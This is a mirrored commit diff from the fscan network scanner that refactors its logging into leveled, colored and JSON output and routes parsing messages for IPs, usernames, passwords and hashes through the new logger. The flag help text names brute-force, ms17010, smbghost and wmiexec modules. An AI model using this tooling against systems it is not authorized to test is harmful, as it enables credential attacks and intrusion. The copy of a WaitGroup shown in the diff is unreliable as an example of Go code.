mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-07-13 12:52:44 +08:00
refactor: 输出格式重构,重构SMB、SMB2、FTP的一些验证逻辑
This commit is contained in:
parent
d13e1952e9
commit
277ea5d332
@ -104,7 +104,11 @@ var (
|
||||
EnableWmi bool // 原IsWmi
|
||||
|
||||
// 输出配置
|
||||
DisableSave bool // 原TmpSave
|
||||
DisableSave bool // 禁止保存结果
|
||||
Silent bool // 静默模式
|
||||
NoColor bool // 禁用彩色输出
|
||||
JsonFormat bool // JSON格式输出
|
||||
LogLevel string // 日志输出级别
|
||||
)
|
||||
|
||||
var (
|
||||
|
@ -73,7 +73,7 @@ func Flag(Info *HostInfo) {
|
||||
" 漏洞类: ms17010, smbghost, smb2\n"+
|
||||
" 其他: findnet, wmiexec, localinfo")
|
||||
flag.BoolVar(&UseSynScan, "sS", false, "使用SYN扫描替代TCP全连接扫描(需要root/管理员权限)")
|
||||
flag.IntVar(&ThreadNum, "t", 600, "设置扫描线程数")
|
||||
flag.IntVar(&ThreadNum, "t", 60, "设置扫描线程数")
|
||||
flag.Int64Var(&Timeout, "time", 3, "设置连接超时时间(单位:秒)")
|
||||
flag.IntVar(&LiveTop, "top", 10, "仅显示指定数量的存活主机")
|
||||
flag.BoolVar(&DisablePing, "np", false, "禁用主机存活探测")
|
||||
@ -126,9 +126,9 @@ func Flag(Info *HostInfo) {
|
||||
flag.StringVar(&Outputfile, "o", "result.txt", "指定结果输出文件名")
|
||||
flag.BoolVar(&DisableSave, "no", false, "禁止保存扫描结果")
|
||||
flag.BoolVar(&Silent, "silent", false, "启用静默扫描模式(减少屏幕输出)")
|
||||
flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出显示")
|
||||
flag.BoolVar(&JsonOutput, "json", false, "以JSON格式输出结果")
|
||||
flag.Int64Var(&WaitTime, "debug", 60, "设置错误日志输出时间间隔(单位:秒)")
|
||||
flag.BoolVar(&NoColor, "nocolor", false, "禁用彩色输出显示")
|
||||
flag.BoolVar(&JsonFormat, "json", false, "以JSON格式输出结果")
|
||||
flag.StringVar(&LogLevel, "log", LogLevelAll, "日志输出级别(ALL/SUCCESS/ERROR/INFO/DEBUG)")
|
||||
|
||||
flag.Parse()
|
||||
}
|
||||
|
307
Common/Log.go
307
Common/Log.go
@ -1,139 +1,250 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"github.com/fatih/color"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/fatih/color"
|
||||
)
|
||||
|
||||
// 记录扫描状态的全局变量
|
||||
var (
|
||||
Num int64 // 总任务数
|
||||
End int64 // 已完成数
|
||||
Results = make(chan *string) // 结果通道
|
||||
LogSucTime int64 // 最近成功日志时间
|
||||
LogErrTime int64 // 最近错误日志时间
|
||||
WaitTime int64 // 等待时间
|
||||
Silent bool // 静默模式
|
||||
Nocolor bool // 禁用颜色
|
||||
JsonOutput bool // JSON输出
|
||||
LogWG sync.WaitGroup // 日志同步等待组
|
||||
// 全局变量
|
||||
status = &ScanStatus{lastSuccess: time.Now(), lastError: time.Now()}
|
||||
results = make(chan *LogEntry, 1000) // 使用缓冲通道
|
||||
logWG sync.WaitGroup
|
||||
|
||||
// 扫描计数
|
||||
Num int64 // 总任务数
|
||||
End int64 // 已完成任务数
|
||||
)
|
||||
|
||||
// JsonText JSON输出的结构体
|
||||
type JsonText struct {
|
||||
Type string `json:"type"` // 消息类型
|
||||
Text string `json:"text"` // 消息内容
|
||||
// 将 results 改名为 Results 使其可导出
|
||||
var (
|
||||
Results = results // 使 results 可导出
|
||||
LogWG = logWG // 使 logWG 可导出
|
||||
)
|
||||
|
||||
// ScanStatus 记录扫描状态
|
||||
type ScanStatus struct {
|
||||
mu sync.RWMutex
|
||||
total int64
|
||||
completed int64
|
||||
lastSuccess time.Time
|
||||
lastError time.Time
|
||||
}
|
||||
|
||||
// LogEntry 日志条目
|
||||
type LogEntry struct {
|
||||
Level string // "ERROR", "INFO", "SUCCESS", "DEBUG"
|
||||
Time time.Time
|
||||
Content string
|
||||
}
|
||||
|
||||
// LogLevel 定义日志等级常量
|
||||
const (
|
||||
LogLevelAll = "ALL" // 输出所有日志
|
||||
LogLevelError = "ERROR" // 错误日志
|
||||
LogLevelInfo = "INFO" // 信息日志
|
||||
LogLevelSuccess = "SUCCESS" // 成功日志
|
||||
LogLevelDebug = "DEBUG" // 调试日志
|
||||
)
|
||||
|
||||
// 定义日志颜色映射
|
||||
var logColors = map[string]color.Attribute{
|
||||
LogLevelError: color.FgRed,
|
||||
LogLevelInfo: color.FgYellow,
|
||||
LogLevelSuccess: color.FgGreen,
|
||||
LogLevelDebug: color.FgBlue,
|
||||
}
|
||||
|
||||
// bufferedFileWriter 文件写入器
|
||||
type bufferedFileWriter struct {
|
||||
file *os.File
|
||||
writer *bufio.Writer
|
||||
jsonEnc *json.Encoder
|
||||
}
|
||||
|
||||
// init 初始化日志配置
|
||||
func init() {
|
||||
log.SetOutput(io.Discard)
|
||||
LogSucTime = time.Now().Unix()
|
||||
go SaveLog()
|
||||
go processLogs()
|
||||
}
|
||||
|
||||
// formatLogMessage 格式化日志消息
|
||||
func formatLogMessage(entry *LogEntry) string {
|
||||
timeStr := entry.Time.Format("2006-01-02 15:04:05")
|
||||
return fmt.Sprintf("[%s] [%s] %s", timeStr, entry.Level, entry.Content)
|
||||
}
|
||||
|
||||
func printLog(entry *LogEntry) {
|
||||
// 根据配置的日志级别过滤
|
||||
if LogLevel != LogLevelAll && entry.Level != LogLevel {
|
||||
return
|
||||
}
|
||||
|
||||
logMsg := formatLogMessage(entry)
|
||||
if NoColor {
|
||||
fmt.Println(logMsg)
|
||||
return
|
||||
}
|
||||
|
||||
if colorAttr, ok := logColors[entry.Level]; ok {
|
||||
color.New(colorAttr).Println(logMsg)
|
||||
} else {
|
||||
fmt.Println(logMsg)
|
||||
}
|
||||
}
|
||||
|
||||
// 同样修改 LogError 和 LogInfo
|
||||
func LogError(errMsg string) {
|
||||
// 获取调用者信息
|
||||
_, file, line, ok := runtime.Caller(1)
|
||||
if !ok {
|
||||
file = "unknown"
|
||||
line = 0
|
||||
}
|
||||
// 只获取文件名
|
||||
file = filepath.Base(file)
|
||||
|
||||
// 格式化错误消息
|
||||
errorMsg := fmt.Sprintf("%s:%d - %s", file, line, errMsg)
|
||||
|
||||
select {
|
||||
case Results <- &LogEntry{
|
||||
Level: LogLevelError,
|
||||
Time: time.Now(),
|
||||
Content: errorMsg,
|
||||
}:
|
||||
logWG.Add(1)
|
||||
default:
|
||||
printLog(&LogEntry{
|
||||
Level: LogLevelError,
|
||||
Time: time.Now(),
|
||||
Content: errorMsg,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func LogInfo(msg string) {
|
||||
select {
|
||||
case Results <- &LogEntry{
|
||||
Level: LogLevelInfo,
|
||||
Time: time.Now(),
|
||||
Content: msg,
|
||||
}:
|
||||
logWG.Add(1)
|
||||
default:
|
||||
printLog(&LogEntry{
|
||||
Level: LogLevelInfo,
|
||||
Time: time.Now(),
|
||||
Content: msg,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// LogSuccess 记录成功信息
|
||||
func LogSuccess(result string) {
|
||||
LogWG.Add(1)
|
||||
LogSucTime = time.Now().Unix()
|
||||
Results <- &result
|
||||
}
|
||||
|
||||
// SaveLog 保存日志信息
|
||||
func SaveLog() {
|
||||
for result := range Results {
|
||||
// 打印日志
|
||||
if !Silent {
|
||||
if Nocolor {
|
||||
fmt.Println(*result)
|
||||
} else {
|
||||
switch {
|
||||
case strings.HasPrefix(*result, "[+] 信息扫描"):
|
||||
color.Green(*result)
|
||||
case strings.HasPrefix(*result, "[+]"):
|
||||
color.Red(*result)
|
||||
default:
|
||||
fmt.Println(*result)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 保存到文件
|
||||
if IsSave {
|
||||
WriteFile(*result, Outputfile)
|
||||
}
|
||||
LogWG.Done()
|
||||
// 添加通道关闭检查
|
||||
select {
|
||||
case Results <- &LogEntry{
|
||||
Level: LogLevelSuccess,
|
||||
Time: time.Now(),
|
||||
Content: result,
|
||||
}:
|
||||
logWG.Add(1)
|
||||
status.mu.Lock()
|
||||
status.lastSuccess = time.Now()
|
||||
status.mu.Unlock()
|
||||
default:
|
||||
// 如果通道已关闭或已满,直接打印
|
||||
printLog(&LogEntry{
|
||||
Level: LogLevelSuccess,
|
||||
Time: time.Now(),
|
||||
Content: result,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// WriteFile 写入文件
|
||||
func WriteFile(result string, filename string) {
|
||||
// 打开文件
|
||||
fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
|
||||
// JsonOutput JSON输出的结构体
|
||||
type JsonOutput struct {
|
||||
Level string `json:"level"`
|
||||
Timestamp time.Time `json:"timestamp"`
|
||||
Message string `json:"message"`
|
||||
}
|
||||
|
||||
// processLogs 处理日志信息
|
||||
func processLogs() {
|
||||
writer := newBufferedFileWriter()
|
||||
defer writer.close()
|
||||
|
||||
for entry := range results {
|
||||
if !Silent {
|
||||
printLog(entry)
|
||||
}
|
||||
|
||||
if writer != nil {
|
||||
writer.write(entry)
|
||||
}
|
||||
|
||||
logWG.Done()
|
||||
}
|
||||
}
|
||||
|
||||
func newBufferedFileWriter() *bufferedFileWriter {
|
||||
if DisableSave {
|
||||
return nil
|
||||
}
|
||||
|
||||
file, err := os.OpenFile(Outputfile, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] 打开文件失败 %s: %v\n", filename, err)
|
||||
fmt.Printf("[ERROR] 打开输出文件失败 %s: %v\n", Outputfile, err)
|
||||
return nil
|
||||
}
|
||||
|
||||
writer := bufio.NewWriter(file)
|
||||
return &bufferedFileWriter{
|
||||
file: file,
|
||||
writer: writer,
|
||||
jsonEnc: json.NewEncoder(writer),
|
||||
}
|
||||
}
|
||||
|
||||
func (w *bufferedFileWriter) write(entry *LogEntry) {
|
||||
if w == nil {
|
||||
return
|
||||
}
|
||||
defer fl.Close()
|
||||
|
||||
if JsonOutput {
|
||||
// 解析JSON格式
|
||||
var scantype, text string
|
||||
if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") {
|
||||
index := strings.Index(result[4:], " ")
|
||||
if index == -1 {
|
||||
scantype = "msg"
|
||||
text = result[4:]
|
||||
} else {
|
||||
scantype = result[4 : 4+index]
|
||||
text = result[4+index+1:]
|
||||
}
|
||||
} else {
|
||||
scantype = "msg"
|
||||
text = result
|
||||
if JsonFormat {
|
||||
output := JsonOutput{
|
||||
Level: entry.Level,
|
||||
Timestamp: entry.Time,
|
||||
Message: entry.Content,
|
||||
}
|
||||
|
||||
// 构造JSON对象
|
||||
jsonText := JsonText{
|
||||
Type: scantype,
|
||||
Text: text,
|
||||
if err := w.jsonEnc.Encode(output); err != nil {
|
||||
fmt.Printf("[ERROR] JSON编码失败: %v\n", err)
|
||||
}
|
||||
|
||||
// 序列化JSON
|
||||
jsonData, err := json.Marshal(jsonText)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] JSON序列化失败: %v\n", err)
|
||||
jsonText = JsonText{
|
||||
Type: "msg",
|
||||
Text: result,
|
||||
}
|
||||
jsonData, _ = json.Marshal(jsonText)
|
||||
}
|
||||
jsonData = append(jsonData, []byte(",\n")...)
|
||||
_, err = fl.Write(jsonData)
|
||||
} else {
|
||||
_, err = fl.Write([]byte(result + "\n"))
|
||||
logMsg := formatLogMessage(entry) + "\n"
|
||||
if _, err := w.writer.WriteString(logMsg); err != nil {
|
||||
fmt.Printf("[ERROR] 写入文件失败: %v\n", err)
|
||||
}
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf("[-] 写入文件失败 %s: %v\n", filename, err)
|
||||
}
|
||||
w.writer.Flush()
|
||||
}
|
||||
|
||||
// LogError 记录错误信息
|
||||
func LogError(errinfo interface{}) {
|
||||
if WaitTime == 0 {
|
||||
fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo)
|
||||
} else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime {
|
||||
fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo)
|
||||
LogErrTime = time.Now().Unix()
|
||||
func (w *bufferedFileWriter) close() {
|
||||
if w != nil {
|
||||
w.writer.Flush()
|
||||
w.file.Close()
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -19,7 +19,7 @@ func Parse(Info *HostInfo) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// ParseUser 解析用户名配置,支持直接指定用户名列表或从文件读取
|
||||
// ParseUser 解析用户名配置
|
||||
func ParseUser() error {
|
||||
// 如果未指定用户名和用户名文件,直接返回
|
||||
if Username == "" && UsersFile == "" {
|
||||
@ -31,7 +31,7 @@ func ParseUser() error {
|
||||
// 处理直接指定的用户名列表
|
||||
if Username != "" {
|
||||
usernames = strings.Split(Username, ",")
|
||||
fmt.Printf("[*] 已加载直接指定的用户名: %d 个\n", len(usernames))
|
||||
LogInfo(fmt.Sprintf("加载用户名: %d 个", len(usernames)))
|
||||
}
|
||||
|
||||
// 从文件加载用户名列表
|
||||
@ -47,12 +47,12 @@ func ParseUser() error {
|
||||
usernames = append(usernames, user)
|
||||
}
|
||||
}
|
||||
fmt.Printf("[*] 已从文件加载用户名: %d 个\n", len(users))
|
||||
LogInfo(fmt.Sprintf("从文件加载用户名: %d 个", len(users)))
|
||||
}
|
||||
|
||||
// 去重处理
|
||||
usernames = RemoveDuplicate(usernames)
|
||||
fmt.Printf("[*] 去重后用户名总数: %d 个\n", len(usernames))
|
||||
LogInfo(fmt.Sprintf("用户名总数: %d 个", len(usernames)))
|
||||
|
||||
// 更新用户字典
|
||||
for name := range Userdict {
|
||||
@ -74,7 +74,7 @@ func ParsePass(Info *HostInfo) error {
|
||||
}
|
||||
}
|
||||
Passwords = pwdList
|
||||
fmt.Printf("[*] 已加载直接指定的密码: %d 个\n", len(pwdList))
|
||||
LogInfo(fmt.Sprintf("加载密码: %d 个", len(pwdList)))
|
||||
}
|
||||
|
||||
// 从文件加载密码列表
|
||||
@ -89,7 +89,7 @@ func ParsePass(Info *HostInfo) error {
|
||||
}
|
||||
}
|
||||
Passwords = pwdList
|
||||
fmt.Printf("[*] 已从文件加载密码: %d 个\n", len(passes))
|
||||
LogInfo(fmt.Sprintf("从文件加载密码: %d 个", len(passes)))
|
||||
}
|
||||
|
||||
// 处理哈希文件
|
||||
@ -108,10 +108,10 @@ func ParsePass(Info *HostInfo) error {
|
||||
HashValues = append(HashValues, line)
|
||||
validCount++
|
||||
} else {
|
||||
fmt.Printf("[-] 无效的哈希值(长度!=32): %s\n", line)
|
||||
LogError(fmt.Sprintf("无效的哈希值: %s (长度!=32)", line))
|
||||
}
|
||||
}
|
||||
fmt.Printf("[*] 已加载有效哈希值: %d 个\n", validCount)
|
||||
LogInfo(fmt.Sprintf("加载有效哈希值: %d 个", validCount))
|
||||
}
|
||||
|
||||
// 处理直接指定的URL列表
|
||||
@ -126,7 +126,7 @@ func ParsePass(Info *HostInfo) error {
|
||||
}
|
||||
}
|
||||
}
|
||||
fmt.Printf("[*] 已加载直接指定的URL: %d 个\n", len(URLs))
|
||||
LogInfo(fmt.Sprintf("加载URL: %d 个", len(URLs)))
|
||||
}
|
||||
|
||||
// 从文件加载URL列表
|
||||
@ -145,7 +145,7 @@ func ParsePass(Info *HostInfo) error {
|
||||
}
|
||||
}
|
||||
}
|
||||
fmt.Printf("[*] 已从文件加载URL: %d 个\n", len(urls))
|
||||
LogInfo(fmt.Sprintf("从文件加载URL: %d 个", len(urls)))
|
||||
}
|
||||
|
||||
// 从文件加载端口列表
|
||||
@ -163,7 +163,7 @@ func ParsePass(Info *HostInfo) error {
|
||||
}
|
||||
}
|
||||
Ports = newport.String()
|
||||
fmt.Printf("[*] 已从文件加载端口配置\n")
|
||||
LogInfo("从文件加载端口配置")
|
||||
}
|
||||
|
||||
return nil
|
||||
@ -174,7 +174,7 @@ func Readfile(filename string) ([]string, error) {
|
||||
// 打开文件
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] 打开文件 %s 失败: %v\n", filename, err)
|
||||
LogError(fmt.Sprintf("打开文件失败 %s: %v", filename, err))
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
@ -195,11 +195,11 @@ func Readfile(filename string) ([]string, error) {
|
||||
|
||||
// 检查扫描过程中是否有错误
|
||||
if err := scanner.Err(); err != nil {
|
||||
fmt.Printf("[- 读取文件 %s 时出错: %v\n", filename, err)
|
||||
LogError(fmt.Sprintf("读取文件错误 %s: %v", filename, err))
|
||||
return nil, err
|
||||
}
|
||||
|
||||
fmt.Printf("[*] 成功读取文件 %s: %d 行\n", filename, lineCount)
|
||||
LogInfo(fmt.Sprintf("读取文件成功 %s: %d 行", filename, lineCount))
|
||||
return content, nil
|
||||
}
|
||||
|
||||
@ -207,25 +207,25 @@ func Readfile(filename string) ([]string, error) {
|
||||
func ParseInput(Info *HostInfo) error {
|
||||
// 检查必要的目标参数
|
||||
if Info.Host == "" && HostsFile == "" && TargetURL == "" && URLsFile == "" {
|
||||
fmt.Println("[-] 未指定扫描目标")
|
||||
LogError("未指定扫描目标")
|
||||
flag.Usage()
|
||||
return fmt.Errorf("必须指定扫描目标")
|
||||
}
|
||||
|
||||
// 如果是本地扫描模式,输出提示
|
||||
if LocalScan {
|
||||
fmt.Println("[*] 已启用本地扫描模式")
|
||||
LogInfo("已启用本地扫描模式")
|
||||
}
|
||||
|
||||
// 配置基本参数
|
||||
if BruteThreads <= 0 {
|
||||
BruteThreads = 1
|
||||
fmt.Printf("[*] 已将暴力破解线程数设置为: %d\n", BruteThreads)
|
||||
LogInfo(fmt.Sprintf("暴力破解线程数: %d", BruteThreads))
|
||||
}
|
||||
|
||||
if DisableSave {
|
||||
IsSave = false
|
||||
fmt.Println("[*] 已启用临时保存模式")
|
||||
LogInfo("已启用临时保存模式")
|
||||
}
|
||||
|
||||
// 处理端口配置
|
||||
@ -239,7 +239,7 @@ func ParseInput(Info *HostInfo) error {
|
||||
} else {
|
||||
Ports += "," + AddPorts
|
||||
}
|
||||
fmt.Printf("[*] 已添加额外端口: %s\n", AddPorts)
|
||||
LogInfo(fmt.Sprintf("额外端口: %s", AddPorts))
|
||||
}
|
||||
|
||||
// 处理用户名配置
|
||||
@ -249,7 +249,7 @@ func ParseInput(Info *HostInfo) error {
|
||||
Userdict[dict] = append(Userdict[dict], users...)
|
||||
Userdict[dict] = RemoveDuplicate(Userdict[dict])
|
||||
}
|
||||
fmt.Printf("[*] 已添加额外用户名: %s\n", AddUsers)
|
||||
LogInfo(fmt.Sprintf("额外用户名: %s", AddUsers))
|
||||
}
|
||||
|
||||
// 处理密码配置
|
||||
@ -257,7 +257,7 @@ func ParseInput(Info *HostInfo) error {
|
||||
passes := strings.Split(AddPasswords, ",")
|
||||
Passwords = append(Passwords, passes...)
|
||||
Passwords = RemoveDuplicate(Passwords)
|
||||
fmt.Printf("[*] 已添加额外密码: %s\n", AddPasswords)
|
||||
LogInfo(fmt.Sprintf("额外密码: %s", AddPasswords))
|
||||
}
|
||||
|
||||
// 处理Socks5代理配置
|
||||
@ -275,7 +275,7 @@ func ParseInput(Info *HostInfo) error {
|
||||
return fmt.Errorf("Socks5代理格式错误: %v", err)
|
||||
}
|
||||
DisablePing = true
|
||||
fmt.Printf("[*] 使用Socks5代理: %s\n", Socks5Proxy)
|
||||
LogInfo(fmt.Sprintf("Socks5代理: %s", Socks5Proxy))
|
||||
}
|
||||
|
||||
// 处理HTTP代理配置
|
||||
@ -299,7 +299,7 @@ func ParseInput(Info *HostInfo) error {
|
||||
if err != nil {
|
||||
return fmt.Errorf("代理格式错误: %v", err)
|
||||
}
|
||||
fmt.Printf("[*] 使用代理: %s\n", HttpProxy)
|
||||
LogInfo(fmt.Sprintf("HTTP代理: %s", HttpProxy))
|
||||
}
|
||||
|
||||
// 处理Hash配置
|
||||
@ -315,7 +315,7 @@ func ParseInput(Info *HostInfo) error {
|
||||
for _, hash := range HashValues {
|
||||
hashByte, err := hex.DecodeString(hash)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] Hash解码失败: %s\n", hash)
|
||||
LogError(fmt.Sprintf("Hash解码失败: %s", hash))
|
||||
continue
|
||||
}
|
||||
HashBytes = append(HashBytes, hashByte)
|
||||
|
@ -23,16 +23,16 @@ var ParseIPErr = errors.New("主机解析错误\n" +
|
||||
"192.168.1.1-192.168.255.255 (IP范围)\n" +
|
||||
"192.168.1.1-255 (最后一位简写范围)")
|
||||
|
||||
// ParseIP 解析IP地址配置,支持从主机字符串和文件读取
|
||||
// ParseIP 解析IP地址配置
|
||||
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
|
||||
// 处理主机和端口组合的情况 (192.168.0.0/16:80)
|
||||
// 处理主机和端口组合的情况
|
||||
if filename == "" && strings.Contains(host, ":") {
|
||||
hostport := strings.Split(host, ":")
|
||||
if len(hostport) == 2 {
|
||||
host = hostport[0]
|
||||
hosts = ParseIPs(host)
|
||||
Ports = hostport[1]
|
||||
fmt.Printf("[*] 已解析主机端口组合,端口设置为: %s\n", Ports)
|
||||
LogInfo(fmt.Sprintf("已解析主机端口组合,端口设置为: %s", Ports))
|
||||
}
|
||||
} else {
|
||||
// 解析主机地址
|
||||
@ -42,10 +42,10 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e
|
||||
if filename != "" {
|
||||
fileHosts, err := Readipfile(filename)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] 读取主机文件失败: %v\n", err)
|
||||
LogError(fmt.Sprintf("读取主机文件失败: %v", err))
|
||||
} else {
|
||||
hosts = append(hosts, fileHosts...)
|
||||
fmt.Printf("[*] 已从文件加载额外主机: %d 个\n", len(fileHosts))
|
||||
LogInfo(fmt.Sprintf("从文件加载额外主机: %d 个", len(fileHosts)))
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -72,13 +72,13 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e
|
||||
}
|
||||
hosts = newHosts
|
||||
sort.Strings(hosts)
|
||||
fmt.Printf("[*] 已排除指定主机: %d 个\n", len(excludeHosts))
|
||||
LogInfo(fmt.Sprintf("已排除指定主机: %d 个", len(excludeHosts)))
|
||||
}
|
||||
}
|
||||
|
||||
// 去重处理
|
||||
hosts = RemoveDuplicate(hosts)
|
||||
fmt.Printf("[*] 最终有效主机数量: %d\n", len(hosts))
|
||||
LogInfo(fmt.Sprintf("最终有效主机数量: %d", len(hosts)))
|
||||
|
||||
// 检查解析结果
|
||||
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
|
||||
@ -102,40 +102,28 @@ func ParseIPs(ip string) (hosts []string) {
|
||||
return hosts
|
||||
}
|
||||
|
||||
// parseIP 解析不同格式的IP地址,返回解析后的IP列表
|
||||
func parseIP(ip string) []string {
|
||||
reg := regexp.MustCompile(`[a-zA-Z]+`)
|
||||
|
||||
switch {
|
||||
// 处理常用内网IP段简写
|
||||
case ip == "192":
|
||||
return parseIP("192.168.0.0/8")
|
||||
case ip == "172":
|
||||
return parseIP("172.16.0.0/12")
|
||||
case ip == "10":
|
||||
return parseIP("10.0.0.0/8")
|
||||
|
||||
// 处理/8网段 - 仅扫描网关和随机IP以避免过多扫描
|
||||
case strings.HasSuffix(ip, "/8"):
|
||||
return parseIP8(ip)
|
||||
|
||||
// 处理CIDR格式 (/24 /16 /8等)
|
||||
case strings.Contains(ip, "/"):
|
||||
return parseIP2(ip)
|
||||
|
||||
// 处理域名 - 保留域名格式
|
||||
case reg.MatchString(ip):
|
||||
return []string{ip}
|
||||
|
||||
// 处理IP范围格式 (192.168.1.1-192.168.1.100)
|
||||
case strings.Contains(ip, "-"):
|
||||
return parseIP1(ip)
|
||||
|
||||
// 处理单个IP地址
|
||||
default:
|
||||
testIP := net.ParseIP(ip)
|
||||
if testIP == nil {
|
||||
fmt.Printf("[-] 无效的IP地址格式: %s\n", ip)
|
||||
LogError(fmt.Sprintf("无效的IP格式: %s", ip))
|
||||
return nil
|
||||
}
|
||||
return []string{ip}
|
||||
@ -144,18 +132,15 @@ func parseIP(ip string) []string {
|
||||
|
||||
// parseIP2 解析CIDR格式的IP地址段
|
||||
func parseIP2(host string) []string {
|
||||
// 解析CIDR
|
||||
_, ipNet, err := net.ParseCIDR(host)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] CIDR格式解析失败: %s, %v\n", host, err)
|
||||
LogError(fmt.Sprintf("CIDR格式解析失败: %s, %v", host, err))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 转换为IP范围并解析
|
||||
ipRange := IPRange(ipNet)
|
||||
hosts := parseIP1(ipRange)
|
||||
|
||||
fmt.Printf("[*] 已解析CIDR %s -> IP范围 %s\n", host, ipRange)
|
||||
LogInfo(fmt.Sprintf("解析CIDR %s -> IP范围 %s", host, ipRange))
|
||||
return hosts
|
||||
}
|
||||
|
||||
@ -169,50 +154,46 @@ func parseIP1(ip string) []string {
|
||||
if len(ipRange[1]) < 4 {
|
||||
endNum, err := strconv.Atoi(ipRange[1])
|
||||
if testIP == nil || endNum > 255 || err != nil {
|
||||
fmt.Printf("[-] IP范围格式错误: %s\n", ip)
|
||||
LogError(fmt.Sprintf("IP范围格式错误: %s", ip))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 解析IP段
|
||||
splitIP := strings.Split(ipRange[0], ".")
|
||||
startNum, err1 := strconv.Atoi(splitIP[3])
|
||||
endNum, err2 := strconv.Atoi(ipRange[1])
|
||||
prefixIP := strings.Join(splitIP[0:3], ".")
|
||||
|
||||
if startNum > endNum || err1 != nil || err2 != nil {
|
||||
fmt.Printf("[-] IP范围无效: %d-%d\n", startNum, endNum)
|
||||
LogError(fmt.Sprintf("IP范围无效: %d-%d", startNum, endNum))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 生成IP列表
|
||||
for i := startNum; i <= endNum; i++ {
|
||||
allIP = append(allIP, prefixIP+"."+strconv.Itoa(i))
|
||||
}
|
||||
|
||||
fmt.Printf("[*] 已生成IP范围: %s.%d - %s.%d\n", prefixIP, startNum, prefixIP, endNum)
|
||||
LogInfo(fmt.Sprintf("生成IP范围: %s.%d - %s.%d", prefixIP, startNum, prefixIP, endNum))
|
||||
} else {
|
||||
// 处理完整IP范围格式 (192.168.111.1-192.168.112.255)
|
||||
// 处理完整IP范围格式
|
||||
splitIP1 := strings.Split(ipRange[0], ".")
|
||||
splitIP2 := strings.Split(ipRange[1], ".")
|
||||
|
||||
if len(splitIP1) != 4 || len(splitIP2) != 4 {
|
||||
fmt.Printf("[-] IP格式错误: %s\n", ip)
|
||||
LogError(fmt.Sprintf("IP格式错误: %s", ip))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 解析起始和结束IP
|
||||
start, end := [4]int{}, [4]int{}
|
||||
for i := 0; i < 4; i++ {
|
||||
ip1, err1 := strconv.Atoi(splitIP1[i])
|
||||
ip2, err2 := strconv.Atoi(splitIP2[i])
|
||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
||||
fmt.Printf("[-] IP范围无效: %s-%s\n", ipRange[0], ipRange[1])
|
||||
LogError(fmt.Sprintf("IP范围无效: %s-%s", ipRange[0], ipRange[1]))
|
||||
return nil
|
||||
}
|
||||
start[i], end[i] = ip1, ip2
|
||||
}
|
||||
|
||||
// 将IP转换为数值并生成范围内的所有IP
|
||||
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
|
||||
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
|
||||
|
||||
@ -224,7 +205,7 @@ func parseIP1(ip string) []string {
|
||||
allIP = append(allIP, ip)
|
||||
}
|
||||
|
||||
fmt.Printf("[*] 已生成IP范围: %s - %s\n", ipRange[0], ipRange[1])
|
||||
LogInfo(fmt.Sprintf("生成IP范围: %s - %s", ipRange[0], ipRange[1]))
|
||||
}
|
||||
|
||||
return allIP
|
||||
@ -232,36 +213,27 @@ func parseIP1(ip string) []string {
|
||||
|
||||
// IPRange 计算CIDR的起始IP和结束IP
|
||||
func IPRange(c *net.IPNet) string {
|
||||
// 获取起始IP
|
||||
start := c.IP.String()
|
||||
|
||||
// 获取子网掩码
|
||||
mask := c.Mask
|
||||
|
||||
// 计算广播地址(结束IP)
|
||||
bcst := make(net.IP, len(c.IP))
|
||||
copy(bcst, c.IP)
|
||||
|
||||
// 通过位运算计算最大IP地址
|
||||
for i := 0; i < len(mask); i++ {
|
||||
ipIdx := len(bcst) - i - 1
|
||||
bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1]
|
||||
}
|
||||
end := bcst.String()
|
||||
|
||||
// 返回"起始IP-结束IP"格式的字符串
|
||||
result := fmt.Sprintf("%s-%s", start, end)
|
||||
fmt.Printf("[*] CIDR范围: %s\n", result)
|
||||
|
||||
LogInfo(fmt.Sprintf("CIDR范围: %s", result))
|
||||
return result
|
||||
}
|
||||
|
||||
// Readipfile 从文件中按行读取IP地址
|
||||
func Readipfile(filename string) ([]string, error) {
|
||||
// 打开文件
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] 打开文件失败 %s: %v\n", filename, err)
|
||||
LogError(fmt.Sprintf("打开文件失败 %s: %v", filename, err))
|
